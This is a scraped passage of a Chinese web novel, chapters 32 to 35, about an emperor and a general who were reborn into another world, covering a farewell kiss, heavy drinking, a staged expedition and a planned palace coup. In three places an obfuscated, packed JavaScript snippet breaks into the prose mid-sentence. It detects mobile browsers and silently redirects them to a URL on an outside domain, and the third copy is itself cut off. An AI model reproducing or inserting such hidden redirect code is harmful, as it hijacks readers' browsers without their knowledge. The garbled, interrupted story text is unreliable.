456默默抬出了播放器:【《七月七日晴》循环播放中:不↗敢↘睁→开→眼↗,希↗望↗是↓我→的→幻↗觉↓~】① 32. 第三十二章 在临州住的第三天,桂清离和古重韧终于跟他们道了别,说是绥石许多地方已经在重建,山路也被修的差不多了,他们还是要回去,重建的这些日子里做些小生意是最容易起家的。 季桐点了点头,命人给他们包了些银两和衣物。 他们也没有太推诿,说是以后有钱了定要好好报答她。 “走吧,秦公子。” 季桐笑着揽上秦笙的肩膀。 “去哪儿?” “回去啊,难不成秦公子乐不思蜀了?”季桐溢出一声轻笑。 “没有。” 山路已经修好,回宫是迫在眉睫的事情,秦笙却有些不想回去了。 他袖子下的食指在不停地摩挲着拇指指腹。 想伸手推开肩膀上的桎梏,又想再靠近一些,一时间竟然头脑空白得让他自己都有些诧异。 秦笙叹了口气,“回宫吧。” 有些事他是必须得说清楚了。 路是越修越好,回去不比来时着急,骑马赶路过于颠簸,他们还是购置了马车。 日子一天天冷了下来,季桐不知道从哪儿给他弄了件青狐皮氅子,这种狐皮是很偏远的地方才有的,秦笙有疑惑却没有问,身上的暖意顺着狐皮的毛一点点渗透他的五脏六腑。 马车外北风萧瑟,刮得许多树木飘下落叶,秦笙伸手去接,被季桐轻拍了下。 “莫伸手,伸手必被抓。” 秦笙回头对上季桐的视线,对方带着一丝调笑,他拂开她的手默默收了回来。 “皇上好像有些脸热。”季桐手背在他的脸颊处贴了贴,慢条斯理地说着。 “怎么,伸手也有错?”秦笙避开了第二个话题。 “当然有错。”季桐此刻的笑意难掩,“什么时候坐车都不能把手伸出去。” 秦笙无语地白了她一眼。 七天后,马车终于开到了京城里。 照理说各回各家。 分别的时候秦笙却拉了她一下,“不陪朕回宫吗?你府上也没人。” 季桐思索了一下,确实没人,如果不是大型的接风宴席,原身的母亲、兄弟或者亲戚朋友平常都不会住在豫温侯府,府里冷清的很。 但是她转而一笑:“有人啊,雀明等我回去呢,再说微臣还得收拾一下不是吗,还是说皇上很想微臣陪伴?” “没有的事。” 一声冷冷的话落下来,然后人就回了马车上。 死傲娇。 季桐嘴角不自觉地上扬。 秦笙的马车一路行进皇宫,穿过红墙金瓦,直径回了勤政阁。 此时已经日落,秦笙站在勤政阁门口,突如其来地感到有些孤寂,叹了口气他摆手让殷勤关切询问的王德海先下去。 踏进屋内,才看到安贵妃坐在一侧。 刚刚王德海好像有说这事,但是他没听清。 “皇上终于回来了!”安贵妃惊喜地放下手中的茶杯,“听说皇上要回来,臣妾都在这儿坐一个时辰了。” “找朕有事?” “太后那边儿说她身子不痛快,仿佛是老毛病犯了。”安贵妃皱着眉诉苦。 “生病就找太医,朕只是禁足她,不是要她死。”秦笙闷闷道。 安贵妃眨着眼:“太后娘娘……说这话应该只是托词,臣妾昨儿个去瞧着她容光焕发的,宫里人少清静,少了思虑,还养胖了。” “?” 安贵妃讪讪地笑着:“太后娘娘可能只是觉得,想再修补一下母子关系。” “这不可能。”秦笙还是很有底线的。 笑话,想至他于死地,还能重修于好?无情道都不敢这么演。 “好吧好吧。”安贵妃连忙安抚,“皇上别生气,臣妾就是照例问一问。”说着她将桌上的檀木盘往前推了推,“喏,皇上,月事带还够用吗,臣妾又准备了一些新的,还有束胸的料子,好像是有半个多月没给您拿新替换的了,皇上您也不主动问臣妾。” 这叫他怎么好开口。 他的月事带和束胸布自从翠兰被发落了之后就一直是由安贵妃那边准备好了送过来的,送的日子也都是她自己定的。 “知道了,收起来吧。”秦笙淡淡道。 “臣妾将勤政阁管理杂事的宫女又换了一批,皇上处理这些更方便。” “有心了。” “哦对了,皇上去看看皇后娘娘吗?”安贵妃像是突然想起什么,“皇后娘娘今儿午后跟臣妾聊天时才说起您。” “说什么?”秦笙神情平淡。 “说您……说您都不去看她,简直是个负心汉。”安贵妃偷笑着。 “那你便着人传旨让她来一趟。” “啊?”安贵妃惊得张了嘴,“皇上可是要解释清楚?” “叫人去传便是。” 秦笙确实想要解释清楚,但要解释清楚的不是性别,而是……别的。 安贵妃嘴里嘟囔着“好吧好吧”,带着些没吃到瓜的不悦情绪出去了。 一刻钟后。 傅箐到了勤政阁。 正屋内空无一人,下人也都被遣散出去了。 她正疑惑着,里屋的帘子掀开,秦笙走出来给了她落地一声惊雷:“你不是她。” 傅箐吓得瞳孔都瞪大了。 她暴露了? “坐吧。”秦笙在一侧椅里坐下,才缓缓说道:“我爱的不是季大将军府里的季桐大小姐,我爱的是……以前的季桐。” “你不是她。”秦笙再次重复了这句话。 傅箐沉默半晌,心底已经乱了阵脚,不知道说什么,只能听着。 “或许是你被原身同化了,又或许是,你穿来后拥有了第二个人格,总之,你不是你。”秦笙继续道。 傅箐这下终于找到了击破点:“你这话也太渣了。” 秦笙深吸一口气,缓了缓情绪:“对不起,我知道我这样说很恶心,但是,我确实感觉不到我的爱了,我好像失去了爱你的能力,我们,分手吧。” 傅箐一口气提不上来,怎么办,答应好季姐姐会把这皇后位置坐稳的,现在怎么办? 她试探性开口:“那,那这后位?” “放心,一切不便,只是……” “好了,我懂了。”傅箐不用他说完,已经明白了,就是说这皇帝察觉出她不对劲了,但是呢,又找不到证据,所以就先把私底下关系割裂一下,免得徒做表面功夫。 “所以,你变心了?”傅箐挑眉问。 “没有。”秦笙思绪有些混沌,“我不知道怎么说,我会永远爱死于车祸的季桐。” …… 傅箐没话说。 傅箐回了宫,连夜将这些话传给了季桐。 豫温侯府里,季桐披着毛氅在窗前烛火下,手指一下一下敲着桌角,心读着白纸黑字。 他说他爱她,她其实信。 他们出车祸的时候,前面的水泥搅拌车滚落下来的时候,他几乎极速尝试了所有的自救方法,再确认无法避免后又慌乱地去解安全带,想要探过身去护她。 如果早知道他这么爱,还用得着非得开车去电影院烘托气氛吗? 爱又如何,还不是个胆小鬼。 骗他这么久是有原因的。 她很想要得到一个答案,他爱的是她的人还是灵魂。 她就是这么固执。 哪怕六年来他对她言听计从,她都会从他日常一个小小的克制行为里打出一个可能不爱她的负分。 毕竟她又不是他肚子里的蛔虫,她怎么知道他怎么想的。 如今死死扣紧的蚌壳被撬出了一点裂缝,就该沿着这条裂缝加大力度才行。 季桐提笔书下几行字:“新圣临朝,当开拓万里,猛将守边,须震慑八荒。今若放任东瀛,恐成心腹之患。臣愿提虎狼之师,乘楼船之利,跨海东征,以彰天讨。” 想了想,季桐又加了一句:“臣愿立军令状:不破东瀛终不还!请调水军三万,楼船百艘,辅以劲卒,期以三年,必献东瀛酋首于阙下!” 其实这些都是托词,如今海上风浪正胜,根本打不了仗,只是正好东瀛部族老是有些小动作,林明远给她写了好几次信说这事,骚扰得人头疼,不给点颜色瞧瞧是不行了。 威慑一下也是好的,免得那些人心里没个数。 至于秦笙那里,根本不需要知道这些事,只需要知道她要远征就行了。 三日后,早朝的时候季桐将这奏折一上,就眼见秦笙脸色不好。 但季桐早就想好了所有拒绝的对策,朝堂上更是没有一个人会反驳她。 季海清和季鸿源自不必说,两兄弟第一个站出来大力支持了季桐的提议,最后连并非季家党羽的安丞相也都表示了赞同。 秦笙只得答应。 季桐立于所有群臣之前,虽在堂下仰视他,却好像他才是那个被通知的人,毫无办法。 秦笙面色晦暗地下了朝,一言不发地离开。 只留下季桐拱手在群臣中听着阿谀奉承的贺喜。 回到勤政阁的书房,与那朝权政事天地隔绝,秦笙取了画纸,一边下笔,一边心头涌起酸麻的感觉,连带着喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273859|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头都有些苦涩。 等半晌回过神来,秦笙才意识到自己画了些什么。 是大邑将士。 这幅画的角度看起来像是在……送他们出行。 他站在城门上,远远望着那一片大邑将士,带头的大将军一抹殷红飘带扬起,格外显眼。 心脏如同痉挛般抽动了一下。 秦笙放下了手中的笔。 他终于知道了这是什么情绪,是不悦,是难受,是在不满某个人先斩后奏,还是在不满某个人要离开很久。 他一把将画纸从镇纸下抽出来,然后揉成了一个团,愤然丢了出去。 “哟!” 季桐进屋就被砸了个正中眉心。 “才几日不见就这么大火气。” 秦笙一惊,然后目光低垂了些,“怎么不让人通报。” “若是让人通报了,可很难看到皇上如此动怒的时候。”季桐弯腰将地上的纸团拾了起来。 “别看!”秦笙的声音很冷还带着些凶。 “就看。”季桐捋开了纸团。 秦笙跟个小猫儿似的,再凶也不过是挠挠人,就像现在,再急也就是冲过来扑上来,想要抢夺这纸团。 可他现在根本够不着,身子骨更是娇弱得风一吹就倒。 季桐一手举着半开的纸团,一手揽住投怀送抱的秦笙,低头看他,“皇上写了什么?这么紧张。” 秦笙意识到太近之后立马拉开了距离,深呼吸后站稳才冷喝道:“还给朕。” 季桐一步一紧逼,“皇上不说是什么,为什么要给?” “你这是!”秦笙后退到桌沿,磕得腰一痛。 季桐停下,将手伸到了秦笙腰后给他垫了垫,“是什么?欺君罔上吗?好像还要更严重一点。” 太近了。 秦笙几乎能听到对方的呼吸声,他只能低下头。 半晌,季桐以为他不会有动作了,结果听到眼前的人低低地说了一句。 “你一定要走吗?” “是的。”季桐退了几步,将半开着纸团丢回了桌上,纸团滚了一圈又落回地上。 秦笙默默去捡了起来。 然后在她面前摊开了这张画纸。 北方呼啸,城楼高耸,旗帜高扬,将士出征。 上面还有一个她。 季桐心头一颤,多了几分滚烫。 “可以理解为皇上是舍不得微臣吗?” “没有这个意思。”秦笙偏过头将画纸收了起来。 还在嘴硬。 这人怕是死了烧成灰都有一块舍利子长成鸭嘴型。 “季大将军,来见朕不是只来说这个的吧?”秦笙终于找回了一点自己的气势,坐回了自己的龙椅中。 “当然。”季桐笑着:“我是来要钱的,打仗没钱不行啊。” 秦笙胸口一滞,像是哽住,又像是松了口气。 他微微低头去找456那团棉花坨子,见它没有反应,应该是去别的地方加班了。 昨天还闹着让他做任务,如果今天知道了季大将军要远征,估计得急死,任务时间绝对不够等到人出征回来。 东瀛太远,没有一年半载是不可能有成效的。 “亲朕一口,给你一万两雪花银。”秦笙话说的非常清晰,自己大脑却是一片空白。 “皇上索吻的话说这么冷淡。”季桐调笑了一句。 见面前这人不说话,季桐上前了几步。秦笙正脸看着她,没有半点避让,全然不似刚刚的模样。 于是季桐二话不说揪着他的衣领就亲了上去,不偏不倚,落在他柔软的唇上。 只一秒,胸膛猛然被推开。 “你!你怎么能真的为了钱……”秦笙结结巴巴,脸已经瞬间红了个透彻。 季桐笑着摊手道:“这怎么能是为了钱呢?这是为了大邑江山,也就是为了你,没钱我怎么打仗?” “那也不能——” 叽里咕噜说什么呢。季桐再次拽着他的领子亲了上去,在脸上亲了好几处,又觉得拽着人不好,于是将人按回座椅里,一顿胡乱猛亲。 秦笙完全没有任何力量反抗,时不时地推搡也像是欲情故纵。 直到季桐松开他,已经是发缕凌乱,衣衫多皱,瘫在龙椅中微微喘息。 季桐也没多看自己的杰作,转身就心满意足地离去。 带着一众人马从国库搬了几十万两银子走。 勤政阁的书房重新归于静谧。秦笙在龙椅里瘫了半晌,呆呆地望着天花板。 对方是在吻他,还是在吻财。 33. 第三十三章 其实季大将军这个势力,又何须靠回应他的旨意来拿钱财,若真想要,有的是办法让他从国库里掏出银子来。 秦笙在椅中轻笑了两声,嘴角的嘲弄仿佛在无声地质问自己,是想做任务,还是真的想要一个临别的亲吻。 他想他真的爱上了一个男人。 可他拼命地想把脑子里从前的事给抛弃掉,却怎么也拋不掉。 不止如此,连季桐的模样也渐渐被幻化成了季止邪的模样。 可他不能这样侮辱季桐。 绝不能。 她就是她,不是别人。 他可以接受自己爱上别人的事实,却不能接受自己像个畜生一般,张冠李戴。 “王德海!” 秦笙喊道。 “奴才在!”王德海忙进了书房,却见眼前颓靡一幕,皇帝竟然衣冠凌乱横瘫在龙椅中,很是不端正,一只脚都还挂在扶手上。 王德海连忙掩了一下双目,“皇上何事吩咐?” “给朕拿些烈酒来,将士们喝的那种,最烈的酒。”秦笙语气淡漠。 “哎哟,皇上,那个您喝不得,伤身子啊。”王德海劝阻。 “让你拿就拿,哪儿那么多话。” 王德海苦命地应下,退出了书房,心说皇上这个样子已经像是喝醉了,怎么还要酒呢。 登州路远。 但要震慑东瀛,假出征是不行的,季桐规划好了路线,只要从京城出发,一路途经七个州,达到登州,也就是离东瀛最近的地方,巡视一番,就足以震慑东瀛探子。 这次虽然有大军十万,但走这一趟也不算劳民伤财,花费并不算多,就像是阅兵一样,算是训练,也算是对诸国威慑,叫他们不敢有任何动作。 至于几十万两白银,季桐只是搬着玩儿罢了,又不是真的要用,完事再给他还回去,他还赚了。 季桐一向是雷厉风行,集结兵力不过两日功夫,第三天早上找人给宫里传了个信儿就收拾收拾出城了。 也不知道秦笙会不会来送送她。 季桐回望了一眼城墙,没人。 一挥缰绳,走了。 她才懒得等人送。 直到大军的尾巴都已经出了城,城楼上才多出了那一抹金黄色。 等到完全看不到一点点将士们的身影,秦笙才如行尸走肉一般回了寝殿。 他甚至不知道自己在纠结什么,只是在循着自己的心一遍遍将自己撕扯得血肉模糊。 王德海在说着什么,在他耳里听来都像是遥远的断音,他无奈地摆手示意让人退下,自己又坐在了桌前,再次倒了一杯酒。 456蹦蹦跳跳的,很高兴自己一来就看到了亲吻任务早已经完成的消息,高兴得想拉小提琴,但看到秦笙这个颓靡的样子,又搬出了播放器:【宿主宿主,我给你点一首《爱人错过》吧!】 秦笙:【你要是敢放,我就把你撕了。】 456:【嘤——宿主你什么时候变得这么凶了?QAQ】 秦笙一杯一杯斟着酒:【你说,我是不是有病。】 456:【经过检测,宿主没有病哦,灵魂健康,身体有点弱而已。】 秦笙笑得一抽一抽的。 【我不仅有病,还病得不轻,不是疯了,就是傻了。】 456:【宿主,我不允许你这么说自己!你最近任务都完成的很好呀!你要支棱起来啊!】 秦笙:【来到一个陌生的国度,陌生的时代,换了一副陌生的身体,爱上了一个陌生的人。那我究竟还是不是我……】 456:【宿主,这个我听不懂,但身体是你自己的没错,只是用积分给你变了个样子而已,其他的我再去深度思考一下吧。】 秦笙:【不用了,你去隔壁加班吧。】 456:【感动……但我不想加班。】 秦笙:【那就把嘴闭上。】 不到一刻钟,秦笙又醉倒在桌上。 王德海一瞅这场面,赶紧去找贵妃娘娘,结果到了青鸾宫,听到里面嬉笑声异常活跃,好像还在捉迷藏,有些事看破不能说破,于是又硬着头皮去了昭阳宫找皇后娘娘。 等傅箐赶到勤政阁内殿,发现皇上已经醉得睡着了。 她连忙吩咐了人把皇上抬到了床上,又吩咐王德海去请太医。 话音刚落,王德海就道:“锡太医在贵妃娘娘宫里请平安脉呢,这……要不要请其他太医先来看看?” “不成!” 季姐姐出征前才告知了皇帝是女身的这一箩筐事,让她多帮衬,傅箐怎么敢让锡太医以外的人医治,只要一把脉不就消息如风一般传出去了。 “那,那奴才再去请一次?”王德海苦命地问。 “必须把人给请过来,不管平安脉请的怎么样了,拽都得把人给本宫拽回来。”傅箐难得硬气一回。 这两天皇帝喝酒喝的厉害,从出征前季姐姐嘱咐完之后就一直在忙着集结兵力的事,根本没空管宫里怎么样了,傅箐也就没有专门去说这事,但现在季姐姐刚走,皇帝就把自己喝倒了,这还得了。 不管怎么说,傅箐都得给通个信儿,告一下状。 不多时,锡太医终于到场,安贵妃紧随其后。 安贵妃一进殿就闻到了一股子酒气熏天的味,惊呼一声:“呀,怎么皇上醉成这样?锡太医,快去看看。” “是。” 锡太医上前把脉,然后恭敬对傅箐道:“禀皇后娘娘,皇上圣体确有不安,脉象浮紧而滑,此乃外感风寒之邪、内伤酒毒之症。” 傅箐连忙问:“本宫看皇上一直皱着眉,可是哪里不适吗?” “发热恶寒、头身疼痛,又有酒毒内蕴,致使脾胃受损。”锡太医将把脉的物件收了起来,“愿皇后娘娘多加规劝,让皇上暂罢杯酌,不然酗饮无度会损根本,恐怕生变症。” “本宫知道了,开方子熬药吧。”傅箐咬着唇,心里要急死了,季姐姐刚走,托她照料的人就病倒了。 “你们都下去吧。”她这个时候也没心情去跟安贵妃聊天玩乐。 “是。” 安贵妃一招手,将锡太医和一旁的宫人全部散了下去。 出了宫门。 锡太医小声问着:“乐佑,这回你不守着皇上吗?” “那皇上现在有皇后娘娘守着呢,要我干什么?”安贵妃看得很通透,自从季家得了后位,她父亲的保皇党一派就名存实亡了。 表面上她与皇上关系如昨,实际上她自己也知道皇帝皮下早已经不是待她如闺蜜一般的人了。 不过也罢,既然答应了她闺蜜不论如何要好好支持这位新皇,她就不会违拗新皇心意,只要不对安家出手,势力在谁哪儿不重要。 皇后娘娘跟她关系也不错,也不像个惹是生非的人,日子就这么过着呗。 另一边,季桐行军至登州还不到一半路程。 这才第二日傍晚就收到了傅箐快马加鞭送来的密信。 季桐拆了信一看,好家伙,秦笙果真如她所想,被刺激到了,但她没想到这人居然没有任何其他动作,只是自己酗酒?! 还有比这更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281025|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没出息的人吗。 继续往下看,还病了?! 又是风寒,什么身体啊。 季桐烦躁地将信纸扔进了烛火中。 林明远掀了帐篷帘子,“季大哥!那些个东瀛探子真是胆小,咱们才走了这点路程就吓得屁滚尿流一个也不敢出来了。” “本来就是些麻雀,非要起熊心豹子胆罢了。”季桐随意回道。 “哟,季大哥在烧什么?”林明远自顾自地并排坐下。 “没什么,宫里的信。”季桐见他坐正,于是侧身认真问:“明远,我问个事。如果,我是说如果,这皇位上的人变了,你还会忠心耿耿吗?” 林明远一听这话,收起了平常没心没肺的笑脸,点了点头:“我忠的是国,不是君。” “国之所以为国,是百姓与土地,君上若不为民,便不配为君。”他继续道,“季大哥,如今皇上虽不如先帝,却也是可守国之人,我并不认为他需要被推翻。” 林明远察觉到了什么,于是说出了自己的这一番见解。 季桐默默点头,拍了拍他的肩膀。 “那个,季大哥,如果是你想……那我还是支持的。”林明远尴尬地笑了笑。 “谢了。”季桐思绪回笼,笑了笑,“那就请骠骑将军帮我办个事吧。” “季大将军吩咐就是。”林明远半跪行礼。 “代我把这趟巡视走完,然后径直回京,等我下令。”季桐已经考虑好了。 既然皇权无从反抗,那好像……不按剧情走也没关系吧,只要不起战火,该发生的发生了就行了,至于皇位是谁的,不影响吧。 十万大军回京不述职不核验,不去京郊大营,入城必会惊扰百姓,除非……是要逼宫。 林明远抬头瞳孔震惊,不可置信地思考了半分钟,然后才低下头:“是。” 只是他要代为巡视的话,“那季大哥你要去哪儿?” “回宫。” 说干就干。 季桐连夜快马加鞭赶回了京城,身边一个人也没带,影响她骑马的速度。 仅仅到早上旭日升起,季桐就一身戎甲从皇宫西侧门踏马而入,迅如闪电,无人敢拦。 守城的白甲兵早已是季家肃清过后的亲兵,他们望着虽然疑惑,却一点不敢多问。 傅箐刚从勤政阁出来,就看见了季桐,连忙迎了上去。 “哥哥怎么回来了?” 季桐翻身下马,将缰绳交给了巡视的侍卫,“不是有人酗酒得厉害吗,回来看看。” 傅箐一脸吃到瓜的样子,长长地“哦”了一声,“哥哥快去看看皇上吧,夜里让王德海伺候了喂药,这会儿该是快醒了,新熬的药搁在床边等放凉呢。” 她扯了扯衣角,“这昨日就醒过一次,病的不轻,可把我吓坏了。” 季桐点头,傅箐走之前识趣地将勤政阁的宫人和侍卫都撤远了。 躺在龙榻上的秦笙看起来病弱得可怕,寝殿里满是中药的苦味,还能闻到些许残留的酒味,已经过去了两日,可想而知当时酗酒酗得多厉害。 季桐坐在了床沿边。 秦笙睡得不安稳,脸颊微红,长长的睫毛发颤,似乎迷离半梦着,季桐拿手背贴了贴还有些发烫,不像是酒劲未退,而是发烧引起的。 但整个人看着却还是像醉酒一般不安分,嘴里呓语着什么。 季桐掐住了他的下巴,手指一点点摩挲到唇边,直到将嘴捏起来,把一旁搁置的药一口气灌了进去。 “咳咳咳!” 看,这不就醒了。 34. 第三十四章 不拿自己的身体当回事,就是这个下场,该罚。 猛然被呛醒的秦笙,虚着眼看到面前的人,自嘲轻笑了一声,“我果然有病。” 分明就是还没清醒,季桐放下药碗,再次捏住他的下巴,用了几分力气。 骤感疼痛,秦笙伸手去碰,“咳咳,放开——疼!” 他终于确信了不是梦,这人真的回来了。 季桐松开手,秦笙如雪的肤色多了两道微红的指印,果然娇气,怪不得这么容易生病。 秦笙眼神飘忽,在床上半撑着身子,又没有力气完全坐起来,连带着那身绣着金龙腾飞的寝衣都滑落了半边下来,白皙的肩膀都没裹住。 如果落在男人眼里,这副娇容自然是无限风情,惊艳至极。 可季桐本质上不是,落在她眼里只有心疼,却又恨铁不成钢,她皱着眉将寝衣给他拉好,生怕他又吹了风。 秦笙目光低垂,好像酒没醒似的,莫名其妙道:“你不喜欢吗?” “喜欢。”季桐无奈地哄着:“最喜欢皇上了。” “那为什么不看我?”秦笙头发散乱,仰着脖子望进她的眼眸,不像个皇帝,倒像个妖妃。 季桐没了法子,只得定眼看着他。 秦笙以前就生得一副好皮囊,不然她也不会冲上去主动要联系,如今的秦笙也是一副好皮囊,让人喜欢是情理中的事。 季桐不喜欢女人,可她喜欢秦笙。 想来秦笙也不会喜欢男人,喜欢的是她季桐。 生理不会让她产生反应,可感情会。 半晌,季桐才意识到,这话之后自己居然被秦笙拿捏住了。 季桐深呼吸后撇开视线抽身离开,从桌上倒了杯热茶水,端到了床前,“喝点热水清醒一下。” 秦笙瞥了一眼就不再看那茶水,懒懒道:“我要喝酒。” 还喝?! 喝不死你! “微臣说这是酒,这就是酒。”季桐不理他,将茶杯递到了他嘴边,“喝。” 秦笙人还不太清醒,眼神迷离,却还是乖顺地嘬了一口,然后吐了回去:“不是酒,止邪你在骗我。” 季桐冷哼了声放下杯子,“叫季爱卿就可以了,微臣不喜欢听皇上叫微臣的名字。” “就叫。” 秦笙此刻不像平常那般好说话。 有些欠。 季桐一手掐住了秦笙的脖子,一手将人往自己身上带了带,“皇上不怕微臣行屠龙之事吗?” 秦笙喘息得胸膛剧烈起伏,却一点没有反抗,艰难笑道:“那又如何?有时候活着比死了还难受。” 他的锁骨随着呼吸微动,在窗外透进来的光线下显得明暗交错。 “不是很会喝酒吗,来,我给你倒酒。”季桐掐着脖子的手没放,另一只手拿过刚刚放下的茶杯,将他未喝的茶水一点点斟在他的锁骨上。 青白色的血管在薄透如瓷釉的皮肤下若隐若现,锁骨那处堰塘注入了淡茶色的池水,看得更令人屏息。 怀里的人终于耳垂发红。 变得更烫了。 或许是掐得有些用力,秦笙忍不住又咳了几声,颤得那汪池水全部洒在了寝衣上。 “皇上不爱护自己的身体,那我爱护也没什么用,不是吗。”季桐冷冷道,“既然如此,还当什么皇帝,好好给我当一个乖乖内人如何。” 456刚睡醒就听到这么一句话,吓得棉花团都硬了:【怎么了!怎么了!又要造反了吗!啊啊啊!不要啊!】 秦笙推开了她,终于在床上盘腿坐好,把衣物拢了拢,嘴角微微挽起:“季大将军是想造反吗?” “不瞒皇上,七日后大军将会行至城下,将皇宫围得水泄不通,皇上可想好怎么办了吗?”季桐低头抚着自己冰冷护腕甲片,像是威慑般轻轻敲了敲。 “给皇上七日时间去逃怎么样?” “或者,皇上七天内能找到解决的办法治微臣一个谋反之罪,也算是皇上厉害。” 秦笙看着季大将军坐在自己床头正对着自己,一双眼睛神色飞扬,看人时格外犀利,说完话时喉结滚动。 他不仅没有害怕,甚至还有些期待,期待那种熟悉的被人推着走的情感。 季桐一句句说着,没见秦笙脸色有变,倒是一旁的456急得跳脚。 456:【怎么还是要造反啊QAQ不要啊!球球了!算了,造吧造吧,宿主你别回击!千万别回击!反正最后也是你们的儿子登基,他又不会杀你对吧!】 456发着双手合十的表情:【只要别起战火就行!别起战火!求求求——】 秦笙久久没有给任何反应,仿佛是被判了刑一样,认了命。 无需任何人偷听墙角,只是季桐单骑强闯宫门的事眼睛不瞎的个个儿都见到了。 消息一传十十传百,即使是微末如风一般的小道消息,也在一天之内就从宫里吹到了宫外。 文武百官在自己家中就乱作一团。 这两天皇帝身体抱恙,早朝被免,上奏无门。 安贵妃几次求见都被勤政阁的侍卫给拦了出来。 第三日,安贵妃只能红着眼去了昭阳宫,一见到傅箐就带着娇滴滴的哭腔。 “皇后娘娘!” “这是怎么了?”傅箐吓了一跳,看安贵妃两个眼圈都熬红了,“快坐。” 安贵妃没有坐,反而使了个眼色,等待周围伺候的宫人全部退去,才半跪着道:“妹妹,虽然妹妹已经贵为皇后,可嫔妾依然想唤皇后娘娘为妹妹,正如妹妹刚入宫时,不想破了这份情谊。” “呃——有话就说吧。”傅箐知道安贵妃在打感情牌。 “安氏一族从来不多事,如今嫔妾父亲年事已高,不再适合丞相之职,自请贬官。”安贵妃抬眼委屈地看着她,“还请妹妹在大将军面前美言几句。” “啊。”傅箐是知道季桐的计划的,可这几天她也只是吃瓜而已,没想到还牵扯了这么多事和人。 在她眼里,她置身于外,怎么闹都是闹不到她头上的,却没思考后宫其他嫔妃的处境。 “姐姐别担心,我肯定会去说。”傅箐给她吃了定心丸。 “多谢妹妹。”安贵妃这才被傅箐扶着坐进了椅子,又试探道:“妹妹知道皇上最近怎么样了吗?” “挺好啊,病已经好全了。”傅箐不解。 “那就好。”安贵妃沉了口气,又再次试探道:“大将军可不会对皇上怎么样吧?” “当然不会。”傅箐心说这怎么可能,人家可是小情侣。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284307|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那,那姐姐再斗胆求妹妹,替皇上也美言几句,若是真……也不要让皇上过上牢狱般的生活。”安贵妃心知这些话本不该说,可她终究是不忍心。 这几个月的相处下来,皇帝壳子下的人虽不是她以前的闺蜜,可为人与她闺蜜并无两般,一样辛苦,一样过得小心翼翼,她心疼。 “好好好。”傅箐双手搭在安贵妃的手上,“都依你,我哥哥不是不讲理的人。” 当晚,傅箐就提着安贵妃送的糕点,去了勤政阁觐见。 到了宫门口,王德海正要通传,傅箐就抬手示意别去。 王德海思索了一下,这是季大将军最宠着的妹妹,左右权衡,还是听了。 偌大一个宫室,一个伺候的宫人都没有,连掌事太监都守在最外面的宫门。 傅箐走到勤政阁的后殿门口,特意去窗边听了下墙角,声音虽然很小,但也算清楚。 “你究竟要关我到什么时候?” “关到皇上身子完全养好,戒了酒为止。” “我明天想出去走走。” …… 傅箐无语地退回至门口,大声咳了两声,然后喊道:“哥哥——” 季桐:“……” 推开门,季桐居然是穿戴整齐的,她两只手掌着门没松,瞥着傅箐道:“干嘛?” “桂花糕?吃不吃?安贵妃做的。”傅箐晃了晃手里提着的食盒。 “吃。”季桐接过食盒,准备关门。 “哎!”傅箐连忙用脚抵住门,小声道:“你认真的?” “什么?” “那个啊。”傅箐使劲使眼色,蚊子般的声音问着:“那后宫嫔妃怎么办?保皇党怎么办?你不会都要杀了吧?” “我又不是什么恶魔。”季桐翻了个白眼,“玩你的去吧,没你事。” “不会起战火吧?你之前不是跟我讲剧情不能影响到男女主种田吗?”傅箐很是担忧。 “放心吧,不会。” 季桐再次关门。 “哎!”傅箐再次一脚抵住,“那别杀人嗷,我害怕,安贵妃让我求你给她父亲换个官职来着,应该也是为了这事。” “知道了。”季桐无奈。 这门终于被关上了。 回到寝屋,秦笙瘫在龙榻上,连眼皮都懒得抬:“谁啊?” “皇后娘娘,她很挂念你的安危。”季桐抚了抚他的脸,“想她吗?” “不想。” “真乖。” “那能不能放我出去走走,就出寝殿,门外看看花草也行。”秦笙觉得自己人要躺废了。 “为什么这么想出去?”季桐指关节在他的脸颊上轻轻刮蹭,“是找人通风报信?还是想逃?” 秦笙难得很明显地翻了个白眼:“你又不是随时在我身边,我很无聊。” 这几天季桐事多,除了守着秦笙,还得控制知晓皇帝女身的知情人,统一朝臣口径,让这件事尽可能地名正言顺,白天确实总是不在宫里。 “那我多陪陪你,正好这几天事情也快处理完了,只欠东风。”季桐搂了搂他,“哦对了,还缺皇上写点东西。” “写什么?” “罪己诏。”季桐嘴角微勾,笑意带着些狡黠,“皇上请吧。” 35. 第三十五章 秦笙一身明黄色寝衣就坐到了书房里。 这些天的奏折都是季大将军看的,他乐得轻松,不上班的感觉很好,骤然要写字都有些手生了。 他抬笔愣神了片刻就被季桐抓住手腕。 “皇上在纠结什么?” “你说,我写。”秦笙懒得争辩,反正这人都是认定了自己想跑,怎么辩解都是徒劳。 “唉~怎么能微臣说呢,皇上自己写。” 